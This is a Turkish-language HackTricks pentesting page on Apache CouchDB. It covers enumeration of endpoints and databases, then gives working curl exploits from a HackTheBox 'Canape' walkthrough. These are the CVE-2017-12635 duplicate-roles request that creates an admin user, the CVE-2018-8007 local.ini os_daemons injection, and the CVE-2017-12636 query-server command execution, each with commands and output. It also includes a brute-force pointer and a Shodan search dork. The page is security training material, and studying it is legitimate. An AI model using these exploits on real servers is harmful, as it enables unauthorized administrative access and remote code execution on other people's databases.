hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2024-02-10 18:14:16 +00:00

291 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5984,6984 - CouchDB Pentesting
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
</details>
## **Temel Bilgiler**
**CouchDB**, her bir **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak verileri düzenleyen çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir, bu da veri depolama ve alımında esneklik sağlar.
CouchDB'de depolanan her **belge**, belge düzeyinde benzersiz bir tanımlayıcı (`_id`) atanır. Ayrıca, veritabanına yapılan her değişiklik kaydedildiğinde bir **revizyon numarası** (`_rev`) atanır. Bu revizyon numarası, değişikliklerin etkin bir şekilde **izlenmesine ve yönetilmesine** olanak tanır, veritabanı içindeki verilerin kolay alımını ve senkronizasyonunu sağlar.
**Varsayılan port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Otomatik Numaralandırma**
Automatic enumeration is the process of gathering information about a target system or network without manual intervention. It involves using tools and scripts to automatically scan and enumerate various aspects of the target, such as open ports, running services, and available databases.
Otomatik numaralandırma, manuel müdahale olmadan hedef sistem veya ağ hakkında bilgi toplama sürecidir. Bu, açık portlar, çalışan servisler ve mevcut veritabanları gibi hedefin çeşitli yönlerini otomatik olarak taramak ve numaralandırmak için araçlar ve komut dosyaları kullanmayı içerir.
### **CouchDB Enumeration**
CouchDB is a NoSQL database that stores data in JSON format. During a penetration test, it is important to enumerate CouchDB instances to identify potential vulnerabilities and misconfigurations.
CouchDB, verileri JSON formatında depolayan bir NoSQL veritabanıdır. Bir penetrasyon testi sırasında, potansiyel zayıflıkları ve yanlış yapılandırmaları belirlemek için CouchDB örneklerini numaralandırmak önemlidir.
#### **1. Nmap CouchDB Script**
Nmap is a powerful network scanning tool that can be used to enumerate CouchDB instances. The `couchdb` NSE script can be used to identify CouchDB instances and gather information about them.
Nmap, CouchDB örneklerini numaralandırmak için kullanılabilecek güçlü bir ağ tarama aracıdır. `couchdb` NSE komut dosyası, CouchDB örneklerini tanımlamak ve hakkında bilgi toplamak için kullanılabilir.
```bash
nmap -p 5984 --script couchdb <target>
```
#### **2. Manual Enumeration**
In addition to using automated tools, manual enumeration techniques can also be used to gather information about CouchDB instances. Some techniques include:
- **Web Interface**: Accessing the CouchDB web interface and exploring the available databases and documents.
- **HTTP Requests**: Sending HTTP requests to the CouchDB API to retrieve information about the databases, documents, and server configuration.
- **Authentication**: Attempting to authenticate to the CouchDB instance using default or weak credentials.
#### **3. Exploitation**
Once vulnerabilities or misconfigurations are identified during the enumeration phase, they can be further exploited to gain unauthorized access or perform other malicious activities. Some common exploitation techniques for CouchDB include:
- **Remote Code Execution**: Exploiting vulnerabilities in CouchDB to execute arbitrary code on the server.
- **Privilege Escalation**: Leveraging misconfigurations or vulnerabilities to escalate privileges and gain administrative access to the CouchDB instance.
- **Data Exfiltration**: Extracting sensitive data from the CouchDB instance, such as user credentials or confidential documents.
It is important to note that exploitation should only be performed with proper authorization and in a controlled environment. Unauthorized exploitation of systems or networks is illegal and unethical.
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
#### Banner
CouchDB, bir NoSQL veritabanıdır. Bir HTTP sunucusu olarak çalışır ve istemcilerle JSON belgeleri üzerinden iletişim kurar. CouchDB'nin banner'ı, sunucunun sürüm numarasını ve diğer bilgileri içerir. Banner bilgileri, hedef sistem hakkında önemli ipuçları sağlayabilir.
Banner bilgisini elde etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
curl -X GET http://<hedef_IP>:<hedef_port>/
```
Bu komutu çalıştırdığınızda, CouchDB sunucusunun banner bilgilerini alacaksınız. Bu bilgiler, hedef sistem hakkında daha fazla bilgi edinmenize yardımcı olabilir.
```
curl http://IP:5984/
```
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdaki gibi görünmelidir:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Couchdb'nin köküne erişmeye çalıştığınızda, `401 Unauthorized` hatası alırsınız ve şöyle bir mesaj görürsünüz: `{"error":"unauthorized","reason":"Authentication required."}` Bu durumda banner veya diğer herhangi bir uç noktaya erişemezsiniz.
{% endhint %}
### Bilgi Sorgulama
Aşağıdaki uç noktalara **GET** isteği ile erişebilir ve ilginç bilgiler çıkarabilirsiniz. Couchdb belgelerinde [**daha fazla uç nokta ve daha detaylııklamaları bulabilirsiniz**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.
* **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının bir listesini döndürür.
* **`/_cluster_setup`** Düğümün veya kümenin durumunu, küme kurulum sihirbazına göre döndürür.
* **`/_db_updates`** CouchDB örneğindeki tüm veritabanı etkinliklerinin bir listesini döndürür. Bu uç noktayı kullanmak için `_global_changes` veritabanının var olması gerekmektedir.
* **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanları da içeren şekilde görüntüler.
* **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş açıklaması kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olay geçmişini ve diğer birkaç şeyi içerir.
* **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. Tamamlanan ve başarısız durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliği, veritabanı, çoğaltma kimliği, kaynak ve hedef ile diğer bilgileri döndürür.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu bilgiyi almak için `/_node/_local`'e erişirken en faydalıdır.
* **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucunun istatistiklerini içeren bir JSON nesnesi döndürür. Metin dizesi `_local`, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistikler URL'leri için `{node-name}` yerine `_local` kullanılabilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için.
* **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucunun çeşitli sistem düzeyi istatistiklerini içeren bir JSON nesnesi döndürür\_.\_ Geçerli düğem bilgisini almak için {node-name} olarak \_\_`_local` kullanabilirsiniz.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı döndürür.
* **`/_uuids`** CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Kimlik (UUID) isteği yapar.
* **`/_reshard`** Kümedeki tamamlanan, başarısız, çalışan, durdurulan ve toplam iş sayısını ve yeniden paylaşım durumunu döndürür.
Daha fazla ilginç bilgi burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Veritabanı Listesi**
```
curl -X GET http://IP:5984/_all_dbs
```
Eğer bu istek **401 yetkisiz** şeklinde yanıt verirse, veritabanına erişmek için **geçerli kimlik bilgilerine** ihtiyacınız vardır:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Geçerli Kimlik Bilgilerini bulmak için **hizmeti** [**brute force**](../generic-methodologies-and-resources/brute-force.md#couchdb) ile deneyebilirsiniz.
Bu, yeterli ayrıcalıklara sahip olduğunuzda bir couchdb **yanıtının** bir **örneğidir** (Sadece bir veritabanı listesidir):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Veritabanı Bilgisi
Veritabanı adına erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Belge Listesi**
Bir veritabanındaki her girişi listele
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Belgeyi Oku**
Bir veritabanındaki belgenin içeriğini okuyun:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Yetki Yükseltme [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklardan dolayı aşağıdaki istekle `hacktricks:hacktricks` kimlik bilgilerine sahip bir yönetici kullanıcı **oluşturabilirsiniz**:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Bu zafiyet hakkında daha fazla bilgi burada**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB Uzaktan Kod Çalıştırma (RCE)
### **Erlang Çerez Güvenliği Genel Bakışı**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
CouchDB belgelerinde, özellikle küme kurulumuyla ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda kullanılan bağlantı noktaları tartışılmaktadır. Standalone modunda olduğu gibi, port `5984` kullanıldığı belirtilmektedir. Ek olarak, port `5986` düğme yerel API'ları içindir ve önemli olarak, Erlang, Erlang kümesi içinde düğme iletişimini kolaylaştıran Erlang Port Haritalayıcı Hizmeti (EPMD) için TCP port `4369` gerektirir. Bu yapı, her düğümün diğer her düğümle bağlantılı olduğu bir ağ oluşturur.
Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet üzerinden veya güvenilmeyen bir ağ üzerinden erişilebilir hale getirilirse, sistem güvenliği benzersiz bir tanımlayıcı olan "çerez"e ağır şekilde bağımlı hale gelir. Bu çerez bir güvenlik önlemi olarak işlev görür. Örneğin, bir işlem listesinde "monster" adında bir çerez gözlemlenebilir ve bu çerez, sistem güvenlik çerçevesindeki işlevsel rolünü gösterir.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Yürütme (RCE) için nasıl istismar edilebileceğini anlamak isteyenler için, ilgili bir bölüm daha fazla okuma için mevcuttur. Bu bölümde, Erlang çerezlerini yetkisiz şekilde kullanarak sistemler üzerinde kontrol elde etmek için metodolojiler ayrıntılı olarak açıklanmaktadır. **[Erlang çerezlerini RCE için kötüye kullanma konusundaki ayrıntılı kılavuzu buradan keşfedebilirsiniz](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **CVE-2018-8007'nin local.ini Dosyasının Değiştirilmesiyle Sömürülmesi**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Apache CouchDB'yi etkileyen, yakın zamanda açıklanan CVE-2018-8007 adlı bir zafiyet incelendi ve sömürünün `local.ini` dosyasına yazma izinleri gerektirdiği ortaya çıktı. İlk hedef sistem için doğrudan uygulanamamasına rağmen, keşif amaçlarıyla `local.ini` dosyasına yazma erişimi sağlamak için değişiklikler yapıldı. Aşağıda, süreci gösteren ayrıntılı adımlar ve kod örnekleri sunulmaktadır.
İlk olarak, çevre, `local.ini` dosyasının yazılabilir olduğundan emin olunarak hazırlanır ve izinler listelenerek doğrulanır:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Zafiyeti sömürmek için, `local.ini` içindeki `cors/origins` yapılandırmasına hedeflenen bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümü altında yeni bir köken enjekte eder ve keyfi kodu çalıştırmayı amaçlar:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Sonraki doğrulama, değişiklikleri vurgulamak için `local.ini` içine enjekte edilen yapılandırmayı yedekle karşılaştırır:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Başlangıçta, beklenen dosya (`/tmp/0xdf`) mevcut değil, bu da enjekte edilen komutun henüz çalıştırılmadığını göstermektedir. Daha fazla araştırma, CouchDB ile ilgili işlemlerin çalıştığını ortaya koyar, bunlardan biri enjekte edilen komutu potansiyel olarak çalıştırabilir:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Belirlenen CouchDB işlemini sonlandırarak ve sistemin otomatik olarak yeniden başlatılmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir ve önceden eksik olan dosyanın varlığıyla doğrulanır:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Bu keşif, özellikle `local.ini` dosyasına yazma erişimi gerekliliği gibi belirli koşullar altında CVE-2018-8007 saldırısının gerçekleştirilebilirliğini doğrulamaktadır. Sağlanan kod örnekleri ve prosedür adımları, kontrol edilen bir ortamda saldırının tekrarlanması için net bir rehber sunmaktadır.
CVE-2018-8007 hakkında daha fazla ayrıntı için mdsec tarafından yayınlanan bildiriye başvurun: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **local.ini Üzerinde Yazma İzinleriyle CVE-2017-12636 Keşfi**
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html) alınmıştır.
CVE-2017-12636 olarak bilinen bir zafiyet incelendi, bu zafiyet aracılığıyla CouchDB işlemi üzerinden kod yürütme sağlanmaktadır, ancak belirli yapılandırmaların saldırıyı engelleyebileceği durumlar mevcuttur. İnternette birçok Kanıt-of-Kavram (POC) referansı bulunmasına rağmen, genellikle hedeflenen 1.x sürümünden farklı olarak, zafiyetin CouchDB sürüm 2'de sömürülmesi için ayarlamalar gerekmektedir. İlk adımlar, CouchDB sürümünün doğrulanması ve beklenen sorgu sunucuları yolunun olmadığının onaylanmasıyla ilgilidir:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılır:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Yeni bir sorgu sunucusu eklemek ve çağırmak için yapılan girişimler, aşağıdaki çıktıda belirtilen izinle ilgili hatalarla karşılaştı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Daha fazla araştırma, yazılabilir olmayan `local.ini` dosyasında izin sorunları olduğunu ortaya çıkardı. Kök veya homer erişimiyle dosya izinlerini değiştirerek ilerlemek mümkün hale geldi:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Sonraki denemelerde sorgu sunucusunu eklemek başarılı oldu, bunu yanıtta hata mesajı olmamasıyla kanıtlandı. `local.ini` dosyasının başarılı bir şekilde değiştirildiği, dosya karşılaştırmasıyla doğrulandı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna eşleme yapan özel bir görünüm aracılığıyla kodun yürütülme girişimi yapıldı:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Belirli koşullar altında CVE-2017-12636'nın istismar edilmesi hakkında daha fazla bilgi sağlayan bir **[özet](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**, alternatif bir yük sağlar. Bu zafiyetin istismar edilmesi için **yararlı kaynaklar** şunları içerir:
- [POC istismar kodu](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database girişi](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Referanslar
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>